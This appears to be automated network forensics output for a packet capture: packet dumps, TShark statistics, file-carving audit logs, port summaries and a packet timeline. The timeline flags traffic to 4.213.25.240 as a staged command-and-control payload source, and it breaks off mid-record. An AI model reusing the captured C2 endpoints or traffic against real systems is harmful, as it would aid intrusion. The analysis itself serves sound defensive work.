.;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #12\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #13\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #14\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #15\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #16\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\n######\nT 192.168.122.168:50181 -> 185.90.162.118:25180 [AP] #22\n ...\n##\nT 192.168.122.168:50181 -> 185.90.162.118:25180 [AP] #24\n....c.....@..b.L......+...&..K\"\"..+.J....@..q..+3`..k\n.b9.T...6.m..3S./.....W....!..1...KA.DP.wVA.X.......^.1V.u......F.(.$.~.B...........y.NAiY.....x...l;...X..:.............*..>Q..W./.l..}TuvF.?N.....U....C.}...B......m:.....\na...<X......ZQ.. \\....I......UF\n]..w2....0<..m..(5.]....]....\n#########\nT 192.168.122.168:50200 -> 185.90.162.118:25180 [AP] #33\nP...\n##\nT 192.168.122.168:50200 -> 185.90.162.118:25180 [AP] #35\nx.x...o..6m...I<&X.Q....G.4.F#'...4.{.V.{.G{...U..}s.._...+..{.+.[W...m.....B..G..=.....kA..l.Z.$f...6..Fd.S.......4.H.B.......Ot..s...n#..n.....k..~.z..,..&..{.y@...,.B.1.HbG...7..v...Y[.$.8..pal7..F>....(x^y|.m..?.1...*R.z.3.?..(.m.Cor=w.....y.....ju?.:...hVF;./,...5.{...Fs....<la....O.)Y...........Ql.AP.=*......'.g.^7n.#...1....&..\n#########\nT 192.168.122.168:50210 -> 185.90.162.118:25180 [AP] #44\n`...\n##\nT 192.168.122.168:50210 -> 185.90.162.118:25180 [AP] #46\n~......^........a.8....q.Y_.[,@..*v.]...@.(.c......4.G.x.X..0<...:..R.M..a..ro.+?....g*.........c^........e.Ch{ 1 .\n..9@..9...X3{'HBV`o.g6........k.$h.AL..9.G.b.J..:+.e....J.q.St..c.I*.e.<.7..+...t..IN.s..Dy..p..e;.6XN.KKg..AL.....e....@J.2.X..)Z8.......~.M:Lb.z.j\\Ofz.`...J...MW...$..x...T....9..%......_>.4...Nr..Y.....3.3o.;.j.!..;u.@I.v..W....4....\n#####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmp11gi20la/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmp11gi20la/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmp11gi20la/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmp11gi20la/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmp11gi20la/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmp11gi20la/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmp11gi20la/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmp11gi20la/tshark/stats/tshark_io_graph.txt\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-04-28T14:15:08.794294,Tool:tmp11gi20la/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmp11gi20la/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-04-28T14:15:08.797668,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp11gi20la/carved/scalpel/audit.txt,468,78f8ae571ba658ca2f2b22bde8fe3f70,fd05025c7f240054fae6bd5b6f46455689d47d934514ccc3296289920cfae6d9,4.95,\"Scalpel version 1.60 audit file, Started at Tue Apr 28 14:15:08 2026, Command line:, scalpel -c /tmp/tmp11gi20la/carved/scalpel.conf /tmp/filtered_gmi3t49v.pcap -o /tmp/tmp11gi20la/carved/scalpel , Output directory: /tmp/tmp11gi20la/carved/scalpel, Configuration file: /tmp/tmp11gi20la/carved/scalpel.conf, Opening target , /tmp/filtered_gmi3t49v.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Tue Apr 28 14:15:08 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 35 3a 30 38 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 31 31 67 69 32 30 6c 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 67 6d 69 33 74 34 39 76 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 31 31 67 69 32 30 6c 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 31 31 67 69 32 30 6c 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 31 31 67 69 32 30 6c 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 67 6d 69 33 74 34 39 76 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 35 3a 30 38 20 32 30 32 36 0a\n2026-04-28T14:15:08.790675,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp11gi20la/carved/foremost/audit.txt,698,11e02566656f2b1ac6e76a70f7f5e10a,27238401fefa7d8223cddc83af843ec81f58fe7a589f6d96578a23d4000614ac,4.87,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Tue Apr 28 14:15:08 2026, Invocation: foremost -t all -i /tmp/filtered_gmi3t49v.pcap -o /tmp/tmp11gi20la/carved/foremost , Output directory: /tmp/tmp11gi20la/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_gmi3t49v.pcap, Start: Tue Apr 28 14:15:08 2026, Length: 8 KB (8456 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Tue Apr 28 14:15:08 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Tue Apr 28 14:15:08 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 35 3a 30 38 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 67 6d 69 33 74 34 39 76 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 31 31 67 69 32 30 6c 61 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 31 31 67 69 32 30 6c 61 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 67 6d 69 33 74 34 39 76 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 35 3a 30 38 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 38 20 4b 42 20 28 38 34 35 36 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 35 3a 30 38 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 35 3a 30 38 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,51,6590,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n25180,33,2842,32.35%,21.56%\n443,18,3748,17.65%,28.44%\n50181,11,910,10.78%,6.90%\n50200,11,958,10.78%,7.27%\n50210,11,974,10.78%,7.39%\n49899,9,1278,8.82%,9.70%\n49892,9,2470,8.82%,18.74%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-26 16:26:10.279836,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:10.585501,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:11.194670,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:12.397797,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  